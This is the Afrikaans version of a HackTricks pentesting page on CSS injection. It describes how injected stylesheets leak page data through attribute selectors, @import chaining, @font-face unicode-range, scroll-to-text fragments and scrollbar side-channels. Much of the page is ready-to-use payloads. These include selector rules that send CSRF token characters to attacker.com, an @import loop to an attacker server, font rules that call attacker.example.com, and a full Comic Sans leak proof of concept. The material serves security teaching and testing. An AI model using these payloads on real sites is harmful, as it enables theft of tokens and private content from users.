hacktricks/pentesting-web/xs-search/css-injection/README.md

# CSS Injeksie

<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.

</details>

## CSS Injeksie

### Atribuutselekteerder

CSS-selekteerders is ontwerp om waardes van 'n `input`-element se `name`- en `value`-eienskappe te pas. As die waarde-eienskap van die invoerelement begin met 'n spesifieke karakter, word 'n voorafbepaalde eksterne bron gelaai:
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
Hierdie benadering het egter 'n beperking wanneer dit kom by verborge invoerelemente (`type="hidden"`) omdat verborge elemente nie agtergronde laai nie.

#### Oorweging vir Verborge Elemente

Om hierdie beperking te omseil, kan jy 'n volgende broer-element teiken deur die `~` algemene broer-kombineerder te gebruik. Die CSS-reël is dan van toepassing op alle broers wat volg op die verborge invoerelement, wat veroorsaak dat die agtergrondbeeld laai:
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
'n Praktiese voorbeeld van die uitbuiting van hierdie tegniek word in die voorsiene kodefragment beskryf. Jy kan dit [hier](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) besigtig.

#### Voorvereistes vir CSS-injeksie

Om die CSS-injeksietegniek effektief te benut, moet sekere voorwaardes voldoen word:

1. **Payload-lengte**: Die CSS-injeksievektor moet voldoende lang payloads ondersteun om die gekonstrueerde selekteerders te akkommodeer.
2. **CSS-herwaardering**: Jy moet die vermoë hê om die bladsy te raamwerk, wat nodig is om die herwaardering van CSS met nuut gegenereerde payloads te trigger.
3. **Eksterne Hulpbronne**: Die tegniek neem aan dat die gebruik van eksterne gehuisvese beelde moontlik is. Dit kan beperk word deur die webwerf se inhoudsbeveiligingsbeleid (CSP).

### Blinde Eienskapsselekteerder

Soos [**verduidelik in hierdie pos**](https://portswigger.net/research/blind-css-exfiltration), is dit moontlik om die selekteerders **`:has`** en **`:not`** te kombineer om inhoud selfs van blinde elemente te identifiseer. Dit is baie nuttig wanneer jy geen idee het wat binne die webbladsy wat die CSS-injeksie laai, is nie.\
Dit is ook moontlik om hierdie selekteerders te gebruik om inligting uit verskeie blokke van dieselfde tipe te onttrek, soos in:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
Deur dit te kombineer met die volgende **@import** tegniek, is dit moontlik om baie **inligting te eksfiltreer deur middel van CSS-injeksie vanaf blinde bladsye met** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**

### @import

Die vorige tegniek het 'n paar nadele, kyk na die vereistes. Jy moet óf in staat wees om **verskeie skakels na die slagoffer te stuur**, óf jy moet in staat wees om **die CSS-injeksie vatbare bladsy in 'n ifram te plaas**.

Daar is egter 'n ander slim tegniek wat gebruik maak van **CSS `@import`** om die kwaliteit van die tegniek te verbeter.

Dit is vir die eerste keer gewys deur [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) en dit werk so:

In plaas daarvan om die bladsy telkens weer te laai met tientalle verskillende lading elke keer (soos in die vorige een), gaan ons die bladsy net een keer laai en net met 'n invoer na die aanvaller se bediener (dit is die lading wat na die slagoffer gestuur moet word):
```css
@import url('//attacker.com:5001/start?');
```
1. Die invoer gaan **CSS-skrips** van die aanvallers ontvang en die **blaaier sal dit laai**.
2. Die eerste deel van die CSS-skrips wat die aanvaller sal stuur, is **nog 'n `@import` na die aanvallers se bediener**.
1. Die aanvallers se bediener sal nog nie hierdie versoek beantwoord nie, omdat ons 'n paar karakters wil lek en dan hierdie invoer beantwoord met die payload om die volgende karakters te lek.
3. Die tweede en groter deel van die payload gaan 'n **attribuutselekteerder-lekkasie-payload** wees.
1. Dit sal die aanvallers se bediener die **eerste karakter van die geheim en die laaste een** stuur.
4. Sodra die aanvallers se bediener die **eerste en laaste karakter van die geheim ontvang het**, sal dit die invoer wat in stap 2 versoek is, **beantwoord**.
1. Die antwoord gaan presies dieselfde wees as die **stappe 2, 3 en 4**, maar hierdie keer sal dit probeer om die tweede karakter van die geheim te **vind en dan die voorlaaste**.

Die aanvaller sal **hierdie lus volg totdat dit die geheim heeltemal lek**.

Jy kan die oorspronklike [**Pepe Vila se kode om hiervan gebruik te maak hier vind**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) of jy kan byna dieselfde [**kode maar met kommentaar hier vind**](./#css-injection)

{% hint style="info" %}
Die skrips sal elke keer probeer om 2 karakters te ontdek (van die begin en van die einde) omdat die attribuutselekteerder dit moontlik maak om dinge soos:
```css
/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
Dit stel die skrip in staat om die geheim vinniger te lek.
{% endhint %}

{% hint style="warning" %}
Soms **detecteer die skrip nie korrek dat die ontdekte voorvoegsel + agtervoegsel reeds die volledige vlag is nie** en dit sal voortgaan (in die voorvoegsel) en agteruit (in die agtervoegsel) en op 'n punt sal dit hang.\
Moenie bekommerd wees nie, kyk net na die **uitset** omdat **jy die vlag daar kan sien**.
{% endhint %}

### Ander selekteerders

Ander maniere om DOM-dele met **CSS-selekteerders** te benader:

* **`.klas-om-te-soek:nth-child(2)`**: Dit sal die tweede item met die klas "klas-om-te-soek" in die DOM soek.
*   **`:empty`** selekteerder: Gebruik byvoorbeeld in [**hierdie writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**

```css
[role^="img"][aria-label="1"]:empty { background-image: url("JOU_BEDIENER_URL?1"); }
```

### Fout-gebaseerde XS-Soek

**Verwysing:** [Aanval gebaseer op CSS: Misbruik van unicode-reeks van @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Fout-gebaseerde XS-Soek PoC deur @terjanq](https://twitter.com/terjanq/status/1180477124861407234)

Die algemene bedoeling is om **'n aangepaste lettertipe vanaf 'n beheerde eindpunt te gebruik** en te verseker dat **teks (in hierdie geval, 'A') slegs met hierdie lettertipe vertoon word as die gespesifiseerde bron (`favicon.ico`) nie gelaai kan word nie**.
```html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
```
1. **Aangepaste Lettertype Gebruik**:
- 'n Aangepaste lettertype word gedefinieer deur die `@font-face` reël binne 'n `<style>` tag in die `<head>` afdeling.
- Die lettertype word `poc` genoem en word opgehaal van 'n eksterne eindpunt (`http://attacker.com/?leak`).
- Die `unicode-range` eienskap word ingestel op `U+0041`, wat die spesifieke Unicode karakter 'A' teiken.

2. **Object Element met Terugval Tekst**:
- 'n `<object>` element met `id="poc0"` word geskep in die `<body>` afdeling. Hierdie element probeer 'n bron vanaf `http://192.168.0.1/favicon.ico` laai.
- Die `font-family` vir hierdie element word ingestel op `'poc'`, soos gedefinieer in die `<style>` afdeling.
- As die bron (`favicon.ico`) nie laai nie, word die terugval inhoud (die letter 'A') binne die `<object>` tag vertoon.
- Die terugval inhoud ('A') sal weergegee word met die aangepaste lettertype `poc` as die eksterne bron nie gelaai kan word nie.

### Styl Scroll-to-Text Fragment

Die **`:target`** pseudo-klas word gebruik om 'n element te kies wat geteiken word deur 'n **URL fragment**, soos gespesifiseer in die [CSS Selectors Level 4 spesifikasie](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Dit is belangrik om te verstaan dat `::target-text` geen elemente kies tensy die teks eksplisiet geteiken word deur die fragment.

'n Sekuriteitskwessie ontstaan wanneer aanvallers die **Scroll-to-text** fragment funksie uitbuit, wat hulle in staat stel om die teenwoordigheid van spesifieke teks op 'n webblad te bevestig deur 'n bron vanaf hul bediener te laai deur middel van HTML-inspuiting. Die metode behels die inspuiting van 'n CSS-reël soos hierdie:
```css
:target::before { content : url(target.png) }
```
In sulke scenario's, as die teks "Administrateur" op die bladsy teenwoordig is, word die bron `target.png` van die bediener aangevra, wat die teenwoordigheid van die teks aandui. 'n Voorbeeld van hierdie aanval kan uitgevoer word deur middel van 'n spesiaal ontwerpte URL wat die ingespotte CSS saam met 'n Scroll-to-text fragment insluit:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Hier manipuleer die aanval HTML-injeksie om die CSS-kode oor te dra, met die doel om die spesifieke teks "Administrateur" deur die Scroll-to-text fragment (`#:~:text=Administrateur`) te rig. As die teks gevind word, word die aangeduide bron gelaai en onbedoeld sy teenwoordigheid aan die aanvaller aangedui.

Vir mitigasie moet die volgende punte in ag geneem word:

1. **Beperkte STTF-passing**: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te pas, wat sy vermoë om arbitrêre geheime of tokens te lek, beperk.
2. **Beperking tot topvlak-blaaikontekste**: STTF werk slegs in topvlak-blaaikontekste en funksioneer nie binne iframes nie, wat enige poging tot uitbuiting meer opvallend vir die gebruiker maak.
3. **Noodsaaklikheid van gebruikersaktivering**: STTF vereis 'n gebruikersaktiveringsgebaar om te werk, wat beteken dat uitbuitings slegs moontlik is deur gebruikersgeïnitieerde navigasies. Hierdie vereiste verminder aansienlik die risiko van geoutomatiseerde aanvalle sonder gebruikersinteraksie. Nietemin, die outeur van die blogpos wys op spesifieke voorwaardes en omseilings (bv. sosiale manipulasie, interaksie met algemene blaaieruitbreidings) wat die outomatiese uitvoering van die aanval kan vergemaklik.

Bewustheid van hierdie meganismes en potensiële kwesbaarhede is van kritieke belang vir die handhawing van websekuriteit en beskerming teen sulke uitbuitende taktieke.

Vir meer inligting, besoek die oorspronklike verslag: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)

Jy kan 'n [**uitbuiting van hierdie tegniek vir 'n CTF hier**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb) nagaan.

### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>

Jy kan **eksterne lettertipes vir spesifieke unicode-waardes** spesifiseer wat slegs **versamel word as daardie unicode-waardes teenwoordig is** op die bladsy. Byvoorbeeld:
```html
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm
```
Wanneer jy hierdie bladsy besoek, haal Chrome en Firefox "?A" en "?B" op omdat die teksnode van sensitiewe inligting "A" en "B" karakters bevat. Maar Chrome en Firefox haal nie "?C" op nie omdat dit nie "C" bevat nie. Dit beteken dat ons in staat was om "A" en "B" te lees.

### Uitlek van teksnode (I): ligature <a href="#uitlek-van-teksnode-i-ligature" id="uitlek-van-teksnode-i-ligature"></a>

**Verwysing:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)

Die tegniek wat beskryf word, behels die onttrekking van teks uit 'n node deur gebruik te maak van letterligature en die monitering van veranderinge in breedte. Die proses behels verskeie stappe:

1. **Skepping van aangepaste lettertipes**:
- SVG-lettertipes word vervaardig met gliefies wat 'n `horiz-adv-x` eienskap het, wat 'n groot breedte vir 'n glief verteenwoordig wat 'n twee-karakter volgorde voorstel.
- Voorbeeld SVG-glief: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, waar "XY" 'n twee-karakter volgorde aandui.
- Hierdie lettertipes word dan omskakel na woff-formaat deur gebruik te maak van fontforge.

2. **Opsporing van Breedteveranderinge**:
- CSS word gebruik om te verseker dat teks nie omslaan nie (`white-space: nowrap`) en om die skuifbalk-styl aan te pas.
- Die verskyning van 'n horisontale skuifbalk, wat duidelik gestyl is, dien as 'n aanduiding (orakel) dat 'n spesifieke ligatuur, en dus 'n spesifieke karaktervolgorde, teenwoordig is in die teks.
- Die betrokke CSS:
```css
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
```

3. **Uitbuitingsproses**:
- **Stap 1**: Lettertipes word geskep vir paartjies karakters met aansienlike breedte.
- **Stap 2**: 'n Skuifbalk-gebaseerde truuk word gebruik om op te spoor wanneer die glief met groot breedte (ligatuur vir 'n karakterpaar) weergegee word, wat die teenwoordigheid van die karaktervolgorde aandui.
- **Stap 3**: Met die opsporing van 'n ligatuur word nuwe gliefies gegenereer wat drie-karakter volgordes voorstel, waarin die opgespoorde paar ingesluit word en 'n voorafgaande of volgende karakter bygevoeg word.
- **Stap 4**: Die opsporing van die drie-karakter ligatuur word uitgevoer.
- **Stap 5**: Die proses herhaal, waardeur die volledige teks geleidelik onthul word.

4. **Optimering**:
- Die huidige inisialisasiemetode met behulp van `<meta refresh=...` is nie optimaal nie.
- 'n Meer doeltreffende benadering kan die CSS `@import`-truuk insluit, wat die uitbuiting se prestasie verbeter.

### Uitlek van teksnode (II): lek van die karakterstel met 'n versteklettertipe (sonder die gebruik van eksterne bates) <a href="#uitlek-van-teksnode-ii-lek-van-die-karakterstel-met-n-versteklettertipe" id="uitlek-van-teksnode-ii-lek-van-die-karakterstel-met-n-versteklettertipe"></a>

**Verwysing:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)

Hierdie truuk is vrygestel in hierdie [**Slackers-thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Die karakterstel wat in 'n teksnode gebruik word, kan **met die versteklettertipes** wat in die blaaier geïnstalleer is, uitgelek word: geen eksterne - of aangepaste - lettertipes is nodig nie.

Die konsep draai om die gebruik van 'n animasie om 'n `div` se breedte geleidelik te vergroot, sodat een karakter op 'n slag van die 'suffix'-gedeelte van die teks na die 'prefix'-gedeelte kan oorgaan. Hierdie proses verdeel die teks effektief in twee afdelings:

1. **Prefix**: Die aanvanklike lyn.
2. **Suffix**: Die daaropvolgende lyn(s).

Die oorgangsfases van die karakters sal as volg lyk:

**C**\
ADB

**CA**\
DB

**CAD**\
B

**CADB**


Tydens hierdie oorgang word die **unicode-range truuk** gebruik om elke nuwe karakter te identifiseer wanneer dit by die prefix aansluit. Dit word bereik deur die lettertipe na Comic Sans te skakel, wat merkbaar langer as die versteklettertipe is en dus 'n vertikale skuifbalk veroorsaak. Hierdie skuifbalk se verskyning onthul indirek die teenwoordigheid van 'n nuwe karakter in die prefix.

Alhoewel hierdie metode die opsporing van unieke karakters soos hulle verskyn, moontlik maak, spesifiseer dit nie watter karakter herhaal word nie, slegs dat 'n herhaling plaasgevind het.

{% hint style="info" %}
Basies word die **unicode-range gebruik om 'n karakter op te spoor**, maar omdat ons nie 'n eksterne lettertipe wil laai nie, moet ons 'n ander manier vind.\
Wanneer die **karakter** gevind word, word dit die vooraf geïnstalleerde **Comic Sans-lettertipe** gegee, wat die karakter **groter** maak en 'n **skuifbalk veroorsaak** wat die gevonde karakter sal **lek**.
{% endhint %}

Kyk na die kode wat uit die PoC onttrek is:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Teksnodus-uitlek (III): lek van die tekenstel deur die karakterstel te verberg met 'n versteklettertipe (vereis nie eksterne bates nie) <a href="#tekstnodus-uitlek-ii-lek-van-die-tekenstel-deur-die-karakterstel-te-verberg-met-'n-versteklettertipe" id="tekstnodus-uitlek-ii-lek-van-die-tekenstel-deur-die-karakterstel-te-verberg-met-'n-versteklettertipe"></a>

**Verwysing:** Dit word genoem as ['n onsuksesvolle oplossing in hierdie verslag](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

Hierdie geval is baie soortgelyk aan die vorige een, maar in hierdie geval is die doel om spesifieke karakters groter as ander te maak om iets te verberg, soos 'n knoppie wat nie deur die robot gedruk moet word nie of 'n prent wat nie gelaai sal word nie. So ons kan die aksie (of die gebrek aan aksie) meet en weet of 'n spesifieke karakter in die teks voorkom.

### Teksnodus-uitlek (III): lek van die tekenstel deur middel van kasstyd (vereis nie eksterne bates nie) <a href="#tekstnodus-uitlek-ii-lek-van-die-tekenstel-deur-die-karakterstel-te-verberg-met-'n-versteklettertipe" id="tekstnodus-uitlek-ii-lek-van-die-tekenstel-deur-die-karakterstel-te-verberg-met-'n-versteklettertipe"></a>

**Verwysing:** Dit word genoem as ['n onsuksesvolle oplossing in hierdie verslag](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

In hierdie geval kan ons probeer om uit te lek of 'n karakter in die teks voorkom deur 'n vals lettertipe van dieselfde oorsprong te laai:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Indien daar 'n ooreenstemming is, sal die **lettertipe gelaai word vanaf `/static/bootstrap.min.css?q=1`**. Alhoewel dit nie suksesvol gelaai sal word nie, moet die **blaaier dit in die skyfgeheue stoor**, en selfs as daar geen skyfgeheue is nie, is daar 'n **304 nie gewysigde** meganisme, sodat die **reaksie vinniger moet wees** as ander dinge.

Maar as die tydverskil tussen die gekeëerde reaksie en die nie-gekeëerde een nie groot genoeg is nie, sal dit nie nuttig wees nie. Byvoorbeeld, die outeur het genoem: Na toetsing het ek egter bevind dat die eerste probleem is dat die spoed nie veel verskil nie, en die tweede probleem is dat die robot die `disk-cache-size=1` vlag gebruik, wat werklik deurdag is.

### Teksknoop uitlek (III): lek van die karakterstel deur die tyd te meet wanneer honderde plaaslike "lettertipes" gelaai word (sonder eksterne bates) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>

**Verwysing:** Dit word genoem as ['n onsuksesvolle oplossing in hierdie skryfstuk](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

In hierdie geval kan jy **CSS aandui om honderde vals lettertipes** van dieselfde oorsprong te laai wanneer 'n ooreenstemming plaasvind. Op hierdie manier kan jy die **tyd meet** wat dit neem en uitvind of 'n karakter verskyn of nie met iets soos:
```css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
En die kode van die bot lyk soos volg:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
So, as die lettertipe nie ooreenstem nie, word verwag dat die responstyd wanneer die bot besoek word, ongeveer 30 sekondes sal wees. As daar egter 'n lettertipe-ooreenkoms is, sal verskeie versoek na die lettertipe gestuur word, wat veroorsaak dat die netwerk voortdurende aktiwiteit het. As gevolg hiervan sal dit langer neem om aan die stopvoorwaarde te voldoen en die respons te ontvang. Daarom kan die responstyd gebruik word as 'n aanduiding om vas te stel of daar 'n lettertipe-ooreenkoms is.

## Verwysings

* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)

<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</details>